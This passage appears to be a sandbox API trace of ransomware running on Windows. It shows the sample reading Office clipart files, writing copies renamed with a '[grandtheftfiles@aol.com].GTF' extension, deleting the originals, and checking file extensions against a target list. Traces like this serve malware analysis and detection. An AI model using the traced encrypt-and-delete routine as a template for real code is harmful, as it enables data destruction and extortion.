	[0085.677] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.677] SetEndOfFile (hFile=0x37c) returned 1
	[0085.678] CloseHandle (hObject=0x37c) returned 1
	[0085.679] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.679] SetEndOfFile (hFile=0x390) returned 1
	[0085.680] CloseHandle (hObject=0x390) returned 1
	[0085.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.680] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf")) returned 1
	[0085.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0085.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0085.680] lstrlenW (lpString=".doc") returned 4
	[0085.680] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.681] lstrlenW (lpString=".docx") returned 5
	[0085.681] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.681] lstrlenW (lpString=".pdf") returned 4
	[0085.681] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.681] lstrlenW (lpString=".xls") returned 4
	[0085.681] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.681] lstrlenW (lpString=".xlsx") returned 5
	[0085.681] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.681] lstrlenW (lpString=".ppt") returned 4
	[0085.681] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0085.681] lstrlenW (lpString=".zip") returned 4
	[0085.681] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.681] lstrlenW (lpString=".rar") returned 4
	[0085.681] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.681] lstrlenW (lpString=".bz2") returned 4
	[0085.681] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.681] lstrlenW (lpString=".7z") returned 3
	[0085.681] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0085.681] lstrlenW (lpString=".dbf") returned 4
	[0085.681] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0085.681] lstrlenW (lpString=".1cd") returned 4
	[0085.681] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0085.681] lstrlenW (lpString=".jpg") returned 4
	[0085.681] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0085.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0085.681] lstrlenW (lpString=".doc") returned 4
	[0085.681] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.681] lstrlenW (lpString=".docx") returned 5
	[0085.681] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.681] lstrlenW (lpString=".pdf") returned 4
	[0085.681] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.681] lstrlenW (lpString=".xls") returned 4
	[0085.682] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.682] lstrlenW (lpString=".xlsx") returned 5
	[0085.682] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.682] lstrlenW (lpString=".ppt") returned 4
	[0085.682] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0085.682] lstrlenW (lpString=".zip") returned 4
	[0085.682] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.682] lstrlenW (lpString=".rar") returned 4
	[0085.682] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.682] lstrlenW (lpString=".bz2") returned 4
	[0085.682] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.682] lstrlenW (lpString=".7z") returned 3
	[0085.682] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0085.682] lstrlenW (lpString=".dbf") returned 4
	[0085.682] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0085.682] lstrlenW (lpString=".1cd") returned 4
	[0085.682] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0085.682] lstrlenW (lpString=".jpg") returned 4
	[0085.682] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.682] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.682] lstrlenW (lpString="DD01015_.WMF") returned 12
	[0085.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0085.683] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=2226) returned 1
	[0085.683] CloseHandle (hObject=0x390) returned 1
	[0085.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf")) returned 0x220
	[0085.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0085.683] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.683] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0085.684] GetLastError () returned 0x0
	[0085.684] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x8b2, lpOverlapped=0x0) returned 1
	[0085.686] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x8c0, lpOverlapped=0x0) returned 1
	[0085.686] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.687] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.687] SetEndOfFile (hFile=0x37c) returned 1
	[0085.687] CloseHandle (hObject=0x37c) returned 1
	[0085.688] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.688] SetEndOfFile (hFile=0x390) returned 1
	[0085.688] CloseHandle (hObject=0x390) returned 1
	[0085.689] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.689] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf")) returned 1
	[0085.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0085.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0085.689] lstrlenW (lpString=".doc") returned 4
	[0085.689] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.689] lstrlenW (lpString=".docx") returned 5
	[0085.689] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.689] lstrlenW (lpString=".pdf") returned 4
	[0085.689] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.689] lstrlenW (lpString=".xls") returned 4
	[0085.689] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.689] lstrlenW (lpString=".xlsx") returned 5
	[0085.689] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.689] lstrlenW (lpString=".ppt") returned 4
	[0085.689] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0085.689] lstrlenW (lpString=".zip") returned 4
	[0085.689] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.689] lstrlenW (lpString=".rar") returned 4
	[0085.690] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.690] lstrlenW (lpString=".bz2") returned 4
	[0085.690] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.690] lstrlenW (lpString=".7z") returned 3
	[0085.690] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0085.690] lstrlenW (lpString=".dbf") returned 4
	[0085.690] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0085.690] lstrlenW (lpString=".1cd") returned 4
	[0085.690] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0085.690] lstrlenW (lpString=".jpg") returned 4
	[0085.690] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0085.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0085.690] lstrlenW (lpString=".doc") returned 4
	[0085.690] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.690] lstrlenW (lpString=".docx") returned 5
	[0085.690] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.690] lstrlenW (lpString=".pdf") returned 4
	[0085.690] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.690] lstrlenW (lpString=".xls") returned 4
	[0085.690] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.690] lstrlenW (lpString=".xlsx") returned 5
	[0085.690] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.690] lstrlenW (lpString=".ppt") returned 4
	[0085.690] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0085.690] lstrlenW (lpString=".zip") returned 4
	[0085.690] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.690] lstrlenW (lpString=".rar") returned 4
	[0085.690] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.690] lstrlenW (lpString=".bz2") returned 4
	[0085.690] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.690] lstrlenW (lpString=".7z") returned 3
	[0085.691] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0085.691] lstrlenW (lpString=".dbf") returned 4
	[0085.691] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0085.691] lstrlenW (lpString=".1cd") returned 4
	[0085.691] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0085.691] lstrlenW (lpString=".jpg") returned 4
	[0085.691] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.691] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.691] lstrlenW (lpString="DD01039_.WMF") returned 12
	[0085.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0085.691] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=14820) returned 1
	[0085.691] CloseHandle (hObject=0x390) returned 1
	[0085.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf")) returned 0x220
	[0085.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0085.692] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.692] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0085.692] GetLastError () returned 0x0
	[0085.692] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x39e4, lpOverlapped=0x0) returned 1
	[0086.189] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x39f0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x39f0, lpOverlapped=0x0) returned 1
	[0086.191] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.191] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.191] SetEndOfFile (hFile=0x37c) returned 1
	[0086.191] CloseHandle (hObject=0x37c) returned 1
	[0086.191] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.191] SetEndOfFile (hFile=0x390) returned 1
	[0086.192] CloseHandle (hObject=0x390) returned 1
	[0086.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.192] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf")) returned 1
	[0086.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0086.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0086.193] lstrlenW (lpString=".doc") returned 4
	[0086.193] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.193] lstrlenW (lpString=".docx") returned 5
	[0086.193] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.193] lstrlenW (lpString=".pdf") returned 4
	[0086.193] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.193] lstrlenW (lpString=".xls") returned 4
	[0086.193] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.193] lstrlenW (lpString=".xlsx") returned 5
	[0086.193] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.193] lstrlenW (lpString=".ppt") returned 4
	[0086.193] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0086.193] lstrlenW (lpString=".zip") returned 4
	[0086.193] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.193] lstrlenW (lpString=".rar") returned 4
	[0086.193] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.193] lstrlenW (lpString=".bz2") returned 4
	[0086.193] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.193] lstrlenW (lpString=".7z") returned 3
	[0086.193] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0086.193] lstrlenW (lpString=".dbf") returned 4
	[0086.193] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0086.193] lstrlenW (lpString=".1cd") returned 4
	[0086.193] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0086.193] lstrlenW (lpString=".jpg") returned 4
	[0086.193] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0086.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0086.194] lstrlenW (lpString=".doc") returned 4
	[0086.194] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.194] lstrlenW (lpString=".docx") returned 5
	[0086.194] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.194] lstrlenW (lpString=".pdf") returned 4
	[0086.194] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.194] lstrlenW (lpString=".xls") returned 4
	[0086.194] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.194] lstrlenW (lpString=".xlsx") returned 5
	[0086.194] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.194] lstrlenW (lpString=".ppt") returned 4
	[0086.194] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0086.194] lstrlenW (lpString=".zip") returned 4
	[0086.194] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.194] lstrlenW (lpString=".rar") returned 4
	[0086.194] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.194] lstrlenW (lpString=".bz2") returned 4
	[0086.194] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.194] lstrlenW (lpString=".7z") returned 3
	[0086.194] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0086.194] lstrlenW (lpString=".dbf") returned 4
	[0086.194] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0086.194] lstrlenW (lpString=".1cd") returned 4
	[0086.194] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0086.194] lstrlenW (lpString=".jpg") returned 4
	[0086.194] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.195] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0086.195] lstrlenW (lpString="DD01167_.WMF") returned 12
	[0086.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0086.195] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=2080) returned 1
	[0086.195] CloseHandle (hObject=0x390) returned 1
	[0086.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf")) returned 0x220
	[0086.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0086.195] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.195] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0086.196] GetLastError () returned 0x0
	[0086.196] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x820, lpOverlapped=0x0) returned 1
	[0086.197] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x830, lpOverlapped=0x0) returned 1
